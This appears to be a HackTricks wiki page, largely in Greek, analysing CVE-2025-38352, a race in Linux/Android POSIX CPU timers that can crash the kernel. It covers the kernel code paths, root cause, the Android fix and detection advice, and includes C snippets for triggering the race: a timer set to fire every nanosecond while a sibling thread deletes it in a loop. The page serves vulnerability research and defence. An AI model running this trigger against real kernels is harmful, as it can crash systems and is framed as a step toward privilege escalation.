POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η σελίδα τεκμηριώνει μια συνθήκη αγώνα TOCTOU στους POSIX CPU timers του Linux/Android που μπορεί να αλλοιώσει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό ορισμένες συνθήκες να οδηγηθεί σε privilege escalation.

  • Επηρεαζόμενο συστατικό: kernel/time/posix-cpu-timers.c
  • Βασική τεχνική: αγώνας λήξης έναντι διαγραφής κατά την έξοδο διεργασίας
  • Εξαρτάται από ρύθμιση: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Σύντομη ανασκόπηση εσωτερικών (relevant for exploitation)

  • Τρία CPU clocks χειρίζονται την καταγραφή για timers μέσω cpu_clock_sample():
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime only
  • CPUCLOCK_SCHED: task_sched_runtime()
  • Η δημιουργία timer συνδέει ένα timer με ένα task/pid και αρχικοποιεί τους κόμβους timerqueue:
c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
  • Η ενεργοποίηση εισάγει στην per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
  • Η γρήγορη διαδρομή αποφεύγει δαπανηρή επεξεργασία εκτός αν οι προσωρινά αποθηκευμένες ημερομηνίες λήξης υποδεικνύουν πιθανή ενεργοποίηση:
c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

Η διαδικασία λήξης συλλέγει ληγμένους χρονοδιακόπτες, τους σημειώνει ως ενεργοποιημένους, τους μετακινεί εκτός της ουράς; η πραγματική παράδοση αναβάλλεται:

c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Δύο τρόποι επεξεργασίας λήξης

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η λήξη αναβάλλεται μέσω task_work στο target task
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η λήξη χειρίζεται απευθείας στο πλαίσιο IRQ
c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

Στο μονοπάτι IRQ-context, η firing list επεξεργάζεται έξω από το sighand

c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Root cause: TOCTOU μεταξύ λήξης σε IRQ-time και ταυτόχρονης διαγραφής κατά την έξοδο του task Preconditions

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
  • Το target task εξέρχεται αλλά δεν έχει ακόμη ολοκληρωθεί το reap
  • Ένα άλλο thread ταυτόχρονα καλεί posix_cpu_timer_del() για τον ίδιο timer

Sequence

  1. update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
  2. collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
  3. handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
  4. Αμέσως μετά το unlock, το exiting task μπορεί να συλλεχθεί (reaped); ένα sibling thread εκτελεί posix_cpu_timer_del().
  5. Σε αυτό το παράθυρο, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παραλείψει την κανονική in-flight guard που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην γίνεται firing, διαφθείροντας το state ενώ η λήξη χειρίζεται, οδηγώντας σε crashes/UB.

Why TASK_WORK mode is safe by design

  • Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η λήξη αναβάλλεται σε task_work; exit_task_work τρέχει πριν το exit_notify, οπότε η επικαλυψη IRQ-time με το reaping δεν συμβαίνει.
  • Ακόμη και τότε, αν το task ήδη εξέρχεται, task_work_add() αποτυγχάνει; ο έλεγχος με βάση το exit_state καθιστά και τις δύο λειτουργίες συνεπείς.

Fix (Android common kernel) and rationale

  • Add an early return if current task is exiting, gating all processing:
c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
  • Αυτό αποτρέπει την είσοδο στο handle_posix_cpu_timers() για εργασίες που τερματίζουν, εξαλείφοντας το παράθυρο όπου το posix_cpu_timer_del() θα μπορούσε να το χάσει (it.cpu.firing) και να προκαλέσει συνθήκη αγώνα με την επεξεργασία λήξης.

Επιπτώσεις

  • Η καταστροφή μνήμης του kernel σε δομές timer κατά τη σύγχρονη λήξη/διαγραφή μπορεί να οδηγήσει σε άμεσα crashes (DoS) και αποτελεί ισχυρό primitive για privilege escalation λόγω ευκαιριών για αυθαίρετη χειραγώγηση της κατάστασης του kernel.

Προκαλώντας το bug (ασφαλείς, επαναπαραγωγικές συνθήκες) Build/config

  • Βεβαιωθείτε ότι CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n και χρησιμοποιήστε έναν kernel χωρίς το διορθωτικό για το exit_state gating.

Στρατηγική χρόνου εκτέλεσης

  • Στοχεύστε ένα thread που πρόκειται να τερματίσει και επισυνάψτε ένα CPU timer σε αυτό (per-thread ή process-wide clock):
  • For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
  • For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
  • Οπλίστε με πολύ μικρή αρχική λήξη και μικρό διάστημα για να μεγιστοποιήσετε τις εισόδους στο IRQ-path:
c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • Από ένα sibling thread, διαγράψτε ταυτόχρονα τον ίδιο timer ενώ το target thread τερματίζει:
c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. Το crash συνήθως εμφανίζεται όταν posix_cpu_timer_del() παραλείπει να αντιληφθεί το firing λόγω αποτυχίας task lookup/locking αμέσως μετά το unlock_task_sighand().

Detection and hardening

  • Mitigation: apply the exit_state guard; προτιμήστε την ενεργοποίηση CONFIG_POSIX_CPU_TIMERS_TASK_WORK όταν είναι εφικτό.
  • Observability: προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del(); ειδοποιήστε όταν it.cpu.firing==1 παρατηρείται μαζί με failed cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε για ασυμφωνίες στο timerqueue γύρω από την έξοδο του task.

Audit hotspots (for reviewers)

  • update_process_times() → run_posix_cpu_timers() (IRQ)
  • __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
  • collect_timerqueue(): sets ctmr->firing and moves nodes
  • handle_posix_cpu_timers(): drops sighand before firing loop
  • posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Notes for exploitation research

  • The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks